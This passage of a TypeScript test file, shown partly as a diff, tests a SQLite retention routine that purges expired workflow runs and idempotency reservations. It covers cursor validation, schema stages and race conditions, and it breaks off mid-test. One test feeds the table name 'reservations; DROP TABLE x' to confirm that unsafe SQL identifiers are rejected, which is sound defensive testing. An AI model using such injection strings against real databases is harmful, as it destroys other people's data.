startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then it is terminal, its horizon re-stamped from THIS moment, and it - // survives this pass — so it is both purgeable later and out of the drain - // inventory now. expect(reservationRows(sqlite)).toEqual([ { key: 'key-stranded', run_id: 'run-old', - state: 'terminal', - updated_at: NOW, + state: 'started', + updated_at: NOW - 8 * DAY_MS, }, ]); }); it('reaps a reservation ORPHANED by an earlier pass, once past its horizon', async () => { - // #given a reservation whose run's snapshot was purged long ago. The - // batch pairing can never see it again — its run is not in any eligible - // set — so without a sweep of its own this row would live forever. const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2559,23 +2548,18 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: NOW - 1 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then only the one past its horizon expect(reservationRows(sqlite).map((row) => row.key)).toEqual([ 'key-young-orphan', ]); }); it('never reaps an orphan candidate whose run is still readable', async () => { - // #given a reservation older than every horizon whose run STILL EXISTS — - // a live suspended run, which retention never touches const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2590,26 +2574,16 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: NOW - 90 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then it survives. `NOT EXISTS (snapshot)` is not an optimization — it - // is what makes the HARD rule structural rather than a consequence of - // whatever a host configured the horizon to be. expect(reservationRows(sqlite)).toHaveLength(1); }); it('sweeps orphans on the strict side of the horizon, and never one whose snapshot survives', async () => { - // #given the three rows the sweep's predicate has to separate, in ONE pass - // so they are judged by the same cutoff. With no `startIdempotencyTtlMs` - // the horizon is the run TTL, so the boundary is exactly NOW - 7 days and - // the comparison is `updated_at < cutoff` — strict, because a row AT the - // cutoff has not yet outlived it. const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2626,8 +2600,6 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: cutoff - 1, }); - // Old enough to sweep on age alone, but its run is still readable — a - // suspended run, which run retention never reclaims. seedRun(sqlite, { runId: 'run-still-here', status: 'suspended', @@ -2639,19 +2611,12 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: NOW - 90 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then exactly the row PAST the horizon is gone. The at-cutoff row is the - // boundary this test exists for: a `<=` here would reap a key on the last - // instant it is still meant to answer ALREADY_SETTLED, and the retry that - // arrives in that instant would start a second run. The snapshot-backed row - // survives on `NOT EXISTS`, whatever its age, which is the HARD rule. expect(reservationRows(sqlite).map((row) => row.key)).toEqual([ 'key-at-cutoff', 'key-with-snapshot', @@ -2659,10 +2624,6 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { }); it('still purges runs on a deployment where no key has ever been used', async () => { - // #given the reservation table wired but never created — its DDL is lazy, - // so a deployment on which nobody used a key has none. A batch naming a - // missing table fails as ONE TRANSACTION, which would take run retention - // down with it. const sqlite = openSqlite(); createSnapshotTable(sqlite); await createResourceOwnershipSchema(sqliteUnitDatabase(sqlite) as never); @@ -2671,27 +2632,21 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { status: 'success', updatedAt: NOW - 8 * DAY_MS, }); - - // #when const deleted = await purgeExpiredWorkflowRuns( sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }, ); - - // #then retention is enforced anyway: an absent table holds no reservation - // to reap, which is not a reason to stop reclaiming runs. expect(deleted).toBe(1); expect(remainingRunIds(sqlite)).toEqual([]); }); it('pairs reservations on the artifact path too', async () => { - // #given the per-run path a host with R2 artifacts takes — a different - // batch, and therefore a second place the pairing could have been missed const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2706,28 +2661,23 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: NOW - 8 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, artifactStore: { deleteRun: async () => 0 }, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then expect(remainingRunIds(sqlite)).toEqual([]); expect(reservationRows(sqlite)).toEqual([]); }); it('refuses a reservation table name that is not a safe SQL identifier', async () => { - // #given — the name is interpolated into every statement above const sqlite = openSqlite(); createSnapshotTable(sqlite); - - // #when / #then await expect( purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: DAY_MS, startIdempotencyTable: 'reservations; DROP TABLE x', }), @@ -2737,16 +2687,2216 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { describe('RUN_TTL_FLOWSAFE_PURGE_TABLES', () => { it('names the production constants, not literals, so a rename fails here', () => { - // #given — the flowsafe-owned half of what run retention deletes from. - // It is separate from RUN_TTL_PURGE_TABLES because the schema guard's - // biconditional is over the `mastra_%` inventory: folding ours in would - // make that guard assert an equality it cannot mean. - // - // #then each entry is the EXPORTED name its purge statement interpolates. - // A rename of either table changes both sides at once, so this cannot drift - // the way a copied literal would. expect([...RUN_TTL_FLOWSAFE_PURGE_TABLES].sort()).toEqual( [RESOURCE_OWNERSHIP_TABLE, START_IDEMPOTENCY_TABLE].sort(), ); }); }); + +function retentionSnapshot( + db: SqliteDatabase, + runId: string, + options: { + prefix?: string; + workflowId?: string; + token?: string; + provenance?: unknown; + status?: string; + padding?: string; + } = {}, +): void { + const execution = normalizeStartExecutionIdentity({ + tablePrefix: options.prefix ?? '', + workflowId: options.workflowId ?? 'wf', + runId, + startToken: options.token ?? 'S1', + owner: { kind: 'human', id: 'initiator' }, + target: { kind: 'workflow', id: 'logical' }, + }); + const provenance = options.provenance ?? { + version: 2, + startToken: execution.startToken, + startIdentity: { owner: execution.owner, target: execution.target }, + }; + if (options.provenance === undefined) decodeRunStartIdentity(provenance); + db.prepare(`INSERT INTO "${options.prefix ?? ''}mastra_workflow_snapshot" + (workflow_name,run_id,resourceId,snapshot,createdAt,updatedAt) VALUES (?,?,NULL,?,?,?)`).run( + options.workflowId ?? 'wf', + runId, + JSON.stringify({ + status: options.status ?? 'success', + requestContext: { 'flowsafe.runProvenance': provenance }, + padding: options.padding, + }), + new Date(NOW - 9 * DAY_MS).toISOString(), + new Date(NOW - 8 * DAY_MS).toISOString(), + ); +} + +function retentionReservation( + db: SqliteDatabase, + key: string, + overrides: Record = {}, +): void { + const row = { + key, + owner_kind: 'human', + owner_id: 'initiator', + target_kind: 'workflow', + target_id: 'logical', + run_id: 'run', + thread_id: null, + state: 'terminal', + created_at: NOW - 10 * DAY_MS, + updated_at: NOW - 8 * DAY_MS, + start_token: 'S1', + start_table_prefix: '', + start_workflow_id: 'wf', + ...overrides, + }; + db.prepare( + `INSERT INTO ${START_IDEMPOTENCY_TABLE} (${Object.keys(row).join(',')}) VALUES (${Object.keys( + row, + ) + .map(() => '?') + .join(',')})`, + ).run(...Object.values(row)); +} + +function retentionCycle(options: Partial = {}) { + let cursor: RunRetentionCursor | undefined; + const advances: RunRetentionCursor[] = []; + return { + advances, + get cursor() { + return cursor; + }, + options(): PurgeExpiredRunsOptions { + return { + ttlMs: 7 * DAY_MS, + now: () => NOW, + startIdempotencyTable: START_IDEMPOTENCY_TABLE, + cursor, + advanceCursor: async (next) => { + cursor = structuredClone(next); + advances.push(cursor); + }, + ...options, + }; + }, + }; +} + +function retentionIntercept( + db: RetentionTestDatabase, + hooks: { + read?: (sql: string, result: unknown) => unknown; + beforeBatch?: () => void; + afterBatch?: (results: unknown[]) => unknown[]; + statement?: (sql: string, values: unknown[]) => void; + }, +): RetentionTestDatabase { + function wrap( + sql: string, + statement: SnapshotStatement, + values: unknown[], + ): SnapshotStatement { + return { + ...statement, + bind: (...bound) => wrap(sql, statement.bind(...bound), bound), + all: async () => { + hooks.statement?.(sql, values); + const result = await statement.all(); + return (hooks.read ? hooks.read(sql, result) : result) as { + results: T[]; + }; + }, + }; + } + const statements = new WeakMap< + SnapshotStatement, + { sql: string; values: unknown[] } + >(); + function tracked( + sql: string, + statement: SnapshotStatement, + values: unknown[], + ): SnapshotStatement { + const wrapped = wrap(sql, statement, values); + wrapped.bind = (...bound) => tracked(sql, statement.bind(...bound), bound); + statements.set(wrapped, { sql, values }); + return wrapped; + } + return { + prepare: (sql) => tracked(sql, db.prepare(sql), []), + batch: async (prepared) => { + for (const statement of prepared) { + const entry = statements.get(statement); + if (!entry) throw new Error('untracked statement'); + hooks.statement?.(entry.sql, entry.values); + } + hooks.beforeBatch?.(); + const results = await db.batch(prepared); + return hooks.afterBatch ? hooks.afterBatch(results) : results; + }, + }; +} + +function retentionWorld() { + const sqlite = openSqlite(); + createSnapshotTable(sqlite); + createReservationTable(sqlite); + return { sqlite, db: retentionDb(sqlite), cycle: retentionCycle() }; +} + +function replaceRetentionSnapshot( + db: SqliteDatabase, + snapshot: unknown, + runId = 'run', +): void { + db.prepare( + 'UPDATE mastra_workflow_snapshot SET snapshot=? WHERE run_id=?', + ).run( + typeof snapshot === 'string' ? snapshot : JSON.stringify(snapshot), + runId, + ); +} + +interface RetentionSnapshotFixture { + status: string; + padding: string; + requestContext: { + 'flowsafe.runProvenance': { + version: number | boolean; + startToken: string; + startIdentity: { + owner: { kind: string; id: string }; + target: { kind: string; id: string; threadId?: string }; + padding?: string; + } | null; + agentStart?: unknown; + attemptToken?: string; + resumeCounts?: unknown; + }; + }; +} + +function currentRetentionSnapshot( + db: SqliteDatabase, + runId = 'run', +): RetentionSnapshotFixture { + const row = db + .prepare('SELECT snapshot FROM mastra_workflow_snapshot WHERE run_id=?') + .get(runId) as { snapshot: string }; + return JSON.parse(row.snapshot); +} + +describe('generation-safe run retention', () => { + it.each([ + null, + false, + 0, + '', + [], + {}, + { version: 2, tablePrefix: '' }, + { + version: 1, + tablePrefix: '', + snapshots: { afterRowId: 2, highWaterRowId: 1 }, + }, + { + version: 1, + tablePrefix: '', + snapshots: { afterRowId: -Infinity, highWaterRowId: 1 }, + }, + { + version: 1, + tablePrefix: '', + reservations: { afterRowId: 0, highWaterRowId: 1 }, + }, + { version: 1, tablePrefix: '', extra: true }, + ])('rejects malformed persisted cursor %j before I/O', async (cursor) => { + const prepare = vi.fn(); + await expect( + purgeExpiredWorkflowRuns( + { prepare, batch: vi.fn() }, + { ttlMs: 0, cursor: cursor as never, advanceCursor: vi.fn() }, + ), + ).rejects.toThrow(); + expect(prepare).not.toHaveBeenCalled(); + }); + + it('captures cursor scope and negative positions without invoking accessors', () => { + const input = { + version: 1 as const, + tablePrefix: 'TENANT_', + startIdempotencyTable: 'Keys', + snapshots: { afterRowId: -9, highWaterRowId: -2 }, + }; + const parsed = parseRunRetentionCursor(input); + input.snapshots.afterRowId = 0; + expect(parsed).toEqual({ + version: 1, + tablePrefix: 'tenant_', + startIdempotencyTable: 'keys', + snapshots: { afterRowId: -9, highWaterRowId: -2 }, + }); + expect(Object.isFrozen(parsed)).toBe(true); + expect(Object.isFrozen(parsed?.snapshots)).toBe(true); + const getter = vi.fn(() => 1); + expect(() => + parseRunRetentionCursor( + Object.defineProperty({ tablePrefix: '' }, 'version', { get: getter }), + ), + ).toThrow(); + expect(getter).not.toHaveBeenCalled(); + }); + + it.each([ + { ttlMs: -1 }, + { ttlMs: Infinity }, + { startIdempotencyTtlMs: NaN }, + { limit: 0 }, + { limit: 0.5 }, + { limit: Infinity }, + { now: () => Infinity }, + { now: () => 8.64e15 }, + { now: null }, + { advanceCursor: undefined }, + { artifactStore: {} }, + { cursor: { version: 1, tablePrefix: 'other_' } }, + { resourceOwnerTable: 'x'.repeat(90_000) }, + ])('rejects invalid captured options before SQL %j', async (invalid) => { + const prepare = vi.fn(); + await expect( + purgeExpiredWorkflowRuns({ prepare, batch: vi.fn() }, { + ttlMs: 0, + advanceCursor: vi.fn(), + ...invalid, + } as never), + ).rejects.toThrow(); + expect(prepare).not.toHaveBeenCalled(); + }); + + it('requires batch for a snapshot-only purge', async () => { + const prepare = vi.fn(); + await expect( + purgeExpiredWorkflowRuns({ prepare } as never, { + ttlMs: 0, + advanceCursor: vi.fn(), + }), + ).rejects.toThrow(/batch/); + expect(prepare).not.toHaveBeenCalled(); + }); + + it('captures callbacks, methods and one clock before the first read', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const callback = vi.fn(); + const artifactStore = { + deleteRun: async () => { + callback(); + return 0; + }, + }; + const now = vi.fn(() => NOW); + const options = { ...cycle.options(), artifactStore, now }; + const capturedAdvance = options.advanceCursor; + const intercepted = retentionIntercept(db, { + read: (_sql, result) => { + options.ttlMs = Infinity; + options.advanceCursor = async () => { + throw new Error('replaced cursor'); + }; + artifactStore.deleteRun = async () => { + throw new Error('replaced artifacts'); + }; + intercepted.batch = async () => { + throw new Error('replaced batch'); + }; + return result; + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, options)).toBe(1); + expect(now).toHaveBeenCalledTimes(1); + expect(callback).toHaveBeenCalledTimes(1); + expect(cycle.advances).toHaveLength(2); + expect(options.advanceCursor).not.toBe(capturedAdvance); + }); + + it.each([ + [ + 'generation', + ( + p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'], + ) => { + p.startToken = 'S2'; + }, + ], + [ + 'owner', + ( + p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'], + ) => { + if (p.startIdentity) p.startIdentity.owner.id = 'other'; + }, + ], + [ + 'null versus missing', + ( + p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'], + ) => { + p.agentStart = null; + }, + ], + [ + 'boolean versus number', + ( + p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'], + ) => { + p.version = true; + }, + ], + [ + 'explicit null identity', + ( + p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'], + ) => { + p.startIdentity = null; + }, + ], + ])('preserves current snapshot and key after changed %s', async (_name, change) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + retentionReservation(sqlite, 'key', { state: 'started' }); + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + const snapshot = currentRetentionSnapshot(sqlite); + change(snapshot.requestContext['flowsafe.runProvenance']); + replaceRetentionSnapshot(sqlite, snapshot); + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(remainingRunIds(sqlite)).toEqual(['run']); + expect(reservationRows(sqlite)[0]?.state).toBe('started'); + expect(cycle.cursor?.snapshots).toBeUndefined(); + }); + + it.each([ + '{"status":"success","requestContext":{},"requestContext":{"flowsafe.runProvenance":{"version":2,"startToken":"S2"}}}', + '{"status":"success","requestContext":{"flowsafe.runProvenance":{"version":2,"startToken":"S1","version":1}}}', + '{"status":"success","requestContext":{"flowsafe.runProvenance":{"version":2,"startToken":"S1"},"flowsafe.runProvenance":{"version":2,"startToken":"S2"}}}', + ])('preserves ambiguous duplicate provenance paths during selection and recheck', async (raw) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const intercepted = retentionIntercept(db, { + beforeBatch: () => replaceRetentionSnapshot(sqlite, raw), + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(remainingRunIds(sqlite)).toEqual(['run']); + }); + + it('permits H, progress and large unowned payload changes with the same owned capsule', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run', { padding: 'x'.repeat(200_000) }); + let largestSelector = 0; + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + const snapshot = currentRetentionSnapshot(sqlite); + snapshot.requestContext['flowsafe.runProvenance'].attemptToken = + 'other-H'; + snapshot.requestContext['flowsafe.runProvenance'].resumeCounts = [ + ['step', 2], + ]; + snapshot.padding += 'more'; + replaceRetentionSnapshot(sqlite, snapshot); + }, + statement: (sql, values) => { + if (sql.includes('DELETE FROM "mastra_workflow_snapshot"')) + largestSelector = String(values[3]).length; + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 1, + ); + expect(largestSelector).toBeLessThan(1000); + }); + + it.each([ + 'snapshot', + 'createdAt', + 'updatedAt', + 'resourceId', + ])('preserves a changed legacy %s field', async (field) => { + const { sqlite, db, cycle } = retentionWorld(); + seedRun(sqlite, { + runId: 'run', + status: 'success', + updatedAt: NOW - 8 * DAY_MS, + }); + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + const value = + field === 'snapshot' + ? '{"status":"success","changed":true}' + : field === 'resourceId' + ? 'new-resource' + : new Date(NOW - 7.5 * DAY_MS).toISOString(); + sqlite + .prepare(`UPDATE mastra_workflow_snapshot SET ${field}=?`) + .run(value); + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(remainingRunIds(sqlite)).toEqual(['run']); + }); + + it('does not treat rowid reuse as snapshot identity', async () => { + const { sqlite, db, cycle } = retentionWorld(); + seedRun(sqlite, { + runId: 'run', + status: 'success', + updatedAt: NOW - 8 * DAY_MS, + }); + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + sqlite.exec('DELETE FROM mastra_workflow_snapshot'); + retentionSnapshot(sqlite, 'replacement'); + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(remainingRunIds(sqlite)).toEqual(['replacement']); + }); + + it.each([ + 'sibling-prefix', + 'sibling-workflow', + 'reserved-owner', + ])('protects %s ownership while removing an expired snapshot', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + await createResourceOwnershipSchema(db as never); + const resources = new D1ResourceOwnershipStore(db as never); + await resources.claim('run', 'run', { + kind: 'human', + id: 'resource-owner', + }); + retentionSnapshot(sqlite, 'run'); + if (kind === 'reserved-owner') + sqlite.exec( + `UPDATE ${RESOURCE_OWNERSHIP_TABLE} SET reservation_token='claim-token'`, + ); + else { + if (kind === 'sibling-prefix') createSnapshotTable(sqlite, 'sibling_'); + retentionSnapshot(sqlite, 'run', { + prefix: kind === 'sibling-prefix' ? 'sibling_' : '', + workflowId: 'other', + }); + sqlite.exec( + `UPDATE ${kind === 'sibling-prefix' ? 'sibling_' : ''}mastra_workflow_snapshot SET snapshot='corrupt' WHERE workflow_name='other'`, + ); + } + expect( + await purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + }), + ).toBe(1); + expect( + sqlite + .prepare( + `SELECT owner_kind,owner_id,reservation_token FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_kind='run' AND resource_id='run'`, + ) + .get(), + ).toEqual({ + owner_kind: 'human', + owner_id: 'resource-owner', + reservation_token: kind === 'reserved-owner' ? 'claim-token' : null, + }); + }); + + it('releases a resource owner distinct from the initiating principal', async () => { + const { sqlite, db, cycle } = retentionWorld(); + const resources = new D1ResourceOwnershipStore(db as never); + await resources.claim('run', 'run', { + kind: 'human', + id: 'resource-owner', + }); + retentionSnapshot(sqlite, 'run'); + expect( + await purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + }), + ).toBe(1); + expect(await resources.owner('run', 'run')).toBeUndefined(); + }); + + it.each([ + ['start_token', 'S2'], + ['start_table_prefix', 'other_'], + ['start_workflow_id', 'other'], + ['run_id', 'other'], + ['owner_kind', 'agent'], + ['owner_id', 'other'], + ['target_kind', 'agent'], + ['target_id', 'other'], + ['thread_id', 'thread'], + ])('does not terminalize a different bound tuple field %s', async (field, value) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + retentionReservation(sqlite, 'mismatch', { + state: 'started', + [field]: value, + }); + retentionReservation(sqlite, 'matching', { state: 'started' }); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(reservationRows(sqlite)).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + key: 'matching', + state: 'terminal', + updated_at: NOW, + }), + expect.objectContaining({ + key: 'mismatch', + state: 'started', + updated_at: NOW - 8 * DAY_MS, + }), + ]), + ); + }); + + it('settles complete aliases and preserves terminal stamps, unbound and legacy records', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + for (const key of ['alias-one', 'alias-two']) + retentionReservation(sqlite, key, { state: 'reserved' }); + retentionReservation(sqlite, 'terminal', { updated_at: NOW - DAY_MS }); + retentionReservation(sqlite, 'legacy', { + state: 'started', + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + }); + retentionReservation(sqlite, 'unbound', { + state: 'reserved', + start_token: '', + start_table_prefix: null, + start_workflow_id: null, + }); + retentionReservation(sqlite, 'null-bound', { + state: 'started', + start_table_prefix: null, + }); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(reservationRows(sqlite)).toEqual( + expect.arrayContaining([ + ...['alias-one', 'alias-two'].map((key) => + expect.objectContaining({ key, state: 'terminal', updated_at: NOW }), + ), + expect.objectContaining({ key: 'terminal', updated_at: NOW - DAY_MS }), + expect.objectContaining({ key: 'legacy', state: 'started' }), + expect.objectContaining({ key: 'unbound', state: 'reserved' }), + expect.objectContaining({ key: 'null-bound', state: 'started' }), + ]), + ); + }); + + it('pairs an inherited logical identity at its physical child address and leaves unattributed snapshots unpaired', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'child', { workflowId: 'physical-child' }); + retentionReservation(sqlite, 'child-key', { + run_id: 'child', + start_workflow_id: 'physical-child', + state: 'started', + }); + retentionReservation(sqlite, 'root-key', { + run_id: 'child', + start_workflow_id: 'logical', + state: 'started', + }); + retentionSnapshot(sqlite, 'unattributed', { + provenance: { version: 2, startToken: 'S1' }, + }); + retentionReservation(sqlite, 'unattributed-key', { + run_id: 'unattributed', + state: 'started', + }); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(2); + expect(reservationRows(sqlite)).toEqual( + expect.arrayContaining([ + expect.objectContaining({ key: 'child-key', state: 'terminal' }), + expect.objectContaining({ key: 'root-key', state: 'started' }), + expect.objectContaining({ key: 'unattributed-key', state: 'started' }), + ]), + ); + }); + + it.each([ + 'same', + 'different', + 'absent', + 'missing-namespace', + 'legacy', + 'malformed', + 'oversize', + 'unbound', + 'null-bound', + ])('classifies orphan %s without inferring namespace or generation', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation( + sqlite, + 'key', + kind === 'missing-namespace' + ? { start_table_prefix: 'missing_' } + : kind === 'null-bound' + ? { start_table_prefix: null } + : kind === 'unbound' + ? { + start_token: '', + start_table_prefix: null, + start_workflow_id: null, + } + : {}, + ); + if (!['absent', 'missing-namespace'].includes(kind)) { + retentionSnapshot(sqlite, 'run', { + status: 'suspended', + token: kind === 'different' ? 'S2' : 'S1', + }); + if (kind === 'legacy') + replaceRetentionSnapshot(sqlite, { status: 'suspended' }); + if (kind === 'malformed') replaceRetentionSnapshot(sqlite, 'broken'); + if (kind === 'oversize') { + const snapshot = currentRetentionSnapshot(sqlite); + const identity = + snapshot.requestContext['flowsafe.runProvenance'].startIdentity; + if (!identity) throw new Error('fixture requires start identity'); + identity.padding = 'x'.repeat(4096); + replaceRetentionSnapshot(sqlite, snapshot); + } + } + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(reservationRows(sqlite)).toHaveLength( + ['different', 'absent', 'missing-namespace'].includes(kind) ? 0 : 1, + ); + }); + + it('rechecks the observed different generation before orphan expiry', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run', { token: 'S2', status: 'suspended' }); + retentionReservation(sqlite, 'key'); + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + const snapshot = currentRetentionSnapshot(sqlite); + snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S1'; + replaceRetentionSnapshot(sqlite, snapshot); + }, + }); + await purgeExpiredWorkflowRuns(intercepted, cycle.options()); + expect(reservationRows(sqlite)).toHaveLength(1); + }); + + it('rechecks a raw orphan key when its timestamp or binding changes', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'key'); + const intercepted = retentionIntercept(db, { + beforeBatch: () => + sqlite.exec( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token='S2',updated_at=updated_at+0.5`, + ), + }); + await purgeExpiredWorkflowRuns(intercepted, cycle.options()); + expect(reservationRows(sqlite)).toHaveLength(1); + }); + + it('expires independent orphans without a snapshot table and preserves legacy raw thread values', async () => { + const { sqlite, db, cycle } = retentionWorld(); + sqlite.exec('DROP TABLE mastra_workflow_snapshot'); + retentionReservation(sqlite, 'bound'); + retentionReservation(sqlite, 'legacy', { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + thread_id: 'invalid/thread', + created_at: -2.5, + updated_at: -1.5, + }); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(reservationRows(sqlite)).toEqual([]); + }); +}); + +describe('run retention schema, progress and result contracts', () => { + it.each([ + 0, 1, 2, 3, + ])('supports reservation schema stage %i with compatible legacy rows', async (stage) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'legacy', { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + thread_id: 'not/a/path', + updated_at: -1.5, + }); + for (const column of [ + 'start_workflow_id', + 'start_table_prefix', + 'start_token', + ].slice(0, 3 - stage)) + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`, + ); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(reservationRows(sqlite)).toEqual([]); + }); + + it.each([ + 1, 2, + ])('retains nonnull partial companion data at stage %i', async (stage) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'partial'); + for (const column of ['start_workflow_id', 'start_table_prefix'].slice( + 0, + 3 - stage, + )) + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`, + ); + await purgeExpiredWorkflowRuns(db, cycle.options()); + expect(reservationRows(sqlite)).toHaveLength(1); + }); + + it.each([ + 'view', + 'bad-prefix', + 'overlong-prefix', + 'namespace-overflow', + 'reservation-view', + 'reservation-columns', + 'reservation-order', + ])('refuses unsupported schema %s before artifact or mutation work', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + if (kind === 'view') + sqlite.exec( + 'CREATE VIEW other_mastra_workflow_snapshot AS SELECT * FROM mastra_workflow_snapshot', + ); + if (kind === 'bad-prefix') + sqlite.exec('CREATE TABLE "bad-prefix_mastra_workflow_snapshot" (x)'); + if (kind === 'overlong-prefix') + sqlite.exec( + `CREATE TABLE "${'x'.repeat(40)}mastra_workflow_snapshot" (x)`, + ); + if (kind === 'namespace-overflow') + for (let i = 0; i < 64; i++) createSnapshotTable(sqlite, `n${i}_`); + if (kind === 'reservation-view') { + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} RENAME TO reserved_rows; CREATE VIEW ${START_IDEMPOTENCY_TABLE} AS SELECT * FROM reserved_rows`, + ); + } + if (kind === 'reservation-columns') + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN unexpected TEXT`, + ); + if (kind === 'reservation-order') + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} RENAME COLUMN start_token TO other`, + ); + const deleteRun = vi.fn(async () => 0); + const beforeBatch = vi.fn(); + await expect( + purgeExpiredWorkflowRuns(retentionIntercept(db, { beforeBatch }), { + ...cycle.options(), + artifactStore: { deleteRun }, + }), + ).rejects.toThrow(); + expect(deleteRun).not.toHaveBeenCalled(); + expect(beforeBatch).not.toHaveBeenCalled(); + expect(remainingRunIds(sqlite)).toEqual(['run']); + expect(cycle.advances).toEqual([]); + }); + + it('rebuilds a held group when a reservation table appears, without repeating artifacts', async () => { + const { sqlite, db, cycle } = retentionWorld(); + sqlite.exec(`DROP TABLE ${START_IDEMPOTENCY_TABLE}`); + retentionSnapshot(sqlite, 'run'); + const deleteRun = vi.fn(async () => { + createReservationTable(sqlite); + retentionReservation(sqlite, 'key', { state: 'started' }); + return 0; + }); + expect( + await purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + artifactStore: { deleteRun }, + }), + ).toBe(1); + expect(deleteRun).toHaveBeenCalledTimes(1); + expect(reservationRows(sqlite)).toEqual([ + expect.objectContaining({ + key: 'key', + state: 'terminal', + updated_at: NOW, + }), + ]); + }); + + it.each([ + 'create', + 'rename', + 'drop', + ])('rebuilds pending snapshot work after namespace %s', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + 